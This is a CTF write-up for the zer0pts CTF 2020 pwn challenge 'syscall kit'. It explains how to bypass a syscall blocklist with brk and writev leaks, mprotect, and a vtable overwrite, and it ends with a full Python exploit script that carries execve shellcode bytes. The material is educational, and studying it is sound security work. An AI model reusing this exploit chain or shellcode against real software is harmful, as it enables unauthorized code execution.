# [zer0pts CTF 2020] syscall kit
###### tags: `zer0pts CTF` `pwn`
## Overview
We're given a 64-bit ELF made by C\+\+. The source code is attached as well.
```
$ checksec -f chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 115 Symbols Yes 0 0 chall
```
The program can call arbitrary system call with up to 3 arguments set, and prints the result (rax). However, the following method disables some system calls.
```c++
int Emulator::check() {
if (this->rax >= 0x40000000) return 1; // x32 ABI is dangerous!
if (this->rax == SYS_open) return 1; // never open files
if (this->rax == SYS_openat) return 1;
if (this->rax == SYS_write) return 1; // no more leak
if (this->rax == SYS_read) return 1; // no more overwrite
if (this->rax == SYS_sendfile) return 1;
if (this->rax == SYS_execve) return 1; // of course not!
if (this->rax == SYS_execveat) return 1;
if (this->rax == SYS_ptrace) return 1; // may ruine the program
if (this->rax == SYS_fork) return 1;
if (this->rax == SYS_vfork) return 1;
if (this->rax == SYS_clone) return 1;
return 0;
}
```
Most of the important system calls are banned.
## Solution
### Available System Calls
#### mprotect
Since mprotect is allowed, we will get the shell if we could put our shellcode and make it executable. However, PIE and ASLR are enabled.
#### brk
`brk` is a system call to change the break value of heap. `brk(0)` will return the value of break. This value points to the end of the heap, with which we can calculate the heap base.
#### writev
We can't use write or sendfile but we need a system call to write data. There's no such a system call which returns the libc address (as far as I know). `writev` system call is not banned. This system call writes data from a iovec struct which has the buffer and size. It's useful if we can find an iovec-like data in the heap.
#### readv
Similar to `writev`, we can use `readv`.
### Plan
#### 1. Leaking heap base
First, we leak the heap address by `brk`. There exists a member variable of Emulator in the heap because `Emulator` is `new`ed.
#### 2. Leaking proc base
Checking with gdb, we find `Emulator` is allocated at 0x11e60 from the top of the heap.
```
pwndbg> x/16xg 0x555555758000 + 0x11e60
0x555555769e60: 0x0000000000000000 0x0000000000000031
0x555555769e70: 0x0000555555756ce0 0x000000000000007b
0x555555769e80: 0x0000000000000001 0x0000000000000002
0x555555769e90: 0x0000000000000003 0x000000000000f171
0x555555769ea0: 0x0000000000000000 0x0000000000000000
0x555555769eb0: 0x0000000000000000 0x0000000000000000
0x555555769ec0: 0x0000000000000000 0x0000000000000000
0x555555769ed0: 0x0000000000000000 0x0000000000000000
```
Here we can see an iovec-like structure at 0x555555769e70.
At 0x555555769e78 is rax value and at 0x555555769e70 is the pointer to the vtable of Emulator.
```
pwndbg> x/16xg 0x0000555555756ce0
0x555555756ce0 <_ZTV8Emulator+16>: 0x0000555555555114 0x000055555555516e
0x555555756cf0 <_ZTV8Emulator+32>: 0x0000555555555290 0x00005555555552d8
0x555555756d00 <_ZTI8Emulator>: 0x00007ffff7dc6168 0x00005555555559a8
```
`writev` is 20 and rax will be 20. This means we can read 20 bytes of the vtable. In this way we can calculate the proc base.
#### 3. Make vtable writable
We'll get RIP by overwriting vtable but vtable is only readable. So, we use `mprotect` to make it writable. This is simple because we already know the proc base.
#### 4. Make heap executable
We'll put a ROP gadget on the heap later. To make it available, we use `mprotect` to change the permission.
#### 5. Disable Emulator::check
As we made the vtable writable in 3, we can overwrite the pointer to `Emulator::check`. If we can make it a function which return 0, every system call will be available. However, there's no such useful function. So, we prepare a ROP gadget in the heap, such as `xor rax, rax; ret;` or `mov rax, 0; ret;`. As we can only put register values, I set an argument to 0xc3c03148 and now we have `xor rax, rax; ret;` in the heap.
#### 6. Executing the shellcode
Now `Emulator::check` is disabled!
We can write shellcode by `read` or whatever and call it by overwriting the vtable.
## Exploit
```python=
from ptrlib import *
def syscall(n, args, recv=True):
sock.sendlineafter("syscall: ", str(n))
for i in range(3):
if i < len(args):
sock.sendlineafter(": ", str(args[i]))
else:
sock.sendlineafter(": ", "0")
if recv:
sock.recvuntil("retval: ")
return int(sock.recvline(), 16)
elf = ELF("../distfiles/chall")
#sock = Process("../distfiles/chall")
sock = Socket("localhost", 9006)
vtable = 0x202ce0
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# 1) brk(0)
# Call brk(0) to leak heap base.
heap = syscall(12, [0]) - 0x21000
logger.info("heap = " + hex(heap))
# 2) writev(1, heap + 0x11e70, 1)
# Call writev to leak proc base.
# The first 16 bytes of Emulator (vtable, rax) can be regarded as an iovec.
syscall(20, [1, heap + 0x11e70, 1], recv=False)
sock.recvline()
proc = u64(sock.recv(8)) - elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm")
logger.info("proc = " + hex(proc))
# 3) mprotect(proc + 0x202000, 0x1000, PROT_READ | PROT_WRITE)
# Before overwriting the vtable, we have to make the area writable.
syscall(10, [proc + 0x202000, 0x1000, 0b011])
# 4) mprotect(heap + 0x11000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC)
# Also we make the heap executable.
# This is because we will write "xor rax, rax; ret;" gadget here.
syscall(10, [heap + 0x11000, 0x1000, 0b111])
rop_xor_rax_rax_ret = heap + 0x11e90
# 5) readv(0, heap + 0x11e70, 1)
# Call readv to disable Emulator::check.
# Same principle as step 2, we can overwrite the vtable.
payload = b''
payload += p64(proc + elf.symbol("_ZN8Emulator3setENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEERm"))
payload += p64(rop_xor_rax_rax_ret)
syscall(19, [0, heap + 0x11e70, 1], recv=False)
sock.send(payload)
# Now, arg3 is regarded as ROP gadget!
# 6) read(0, heap + 0x11000, 0xc3c03148)
# Write shellcode to heap.
# (We can bypass Emulator::check because 0xc3c03148 == xor rax, rax; ret;)
syscall(0, [0, heap + 0x11000, 0xc3c03148], recv=False)
sock.send(shellcode)
# 7) read(0, proc + vtable + 8, 0xc3c03148)
# Call read to overwrite Emulator::check to our shellcode.
payload = p64(heap + 0x11000)
syscall(0, [0, proc + vtable + 8, 0xc3c03148], recv=False)
sock.send(payload)
# 8) get the shell!
# Now Emulator::check points to our shellcode!
syscall(0, [0, 0, 0], recv=False)
sock.interactive()
```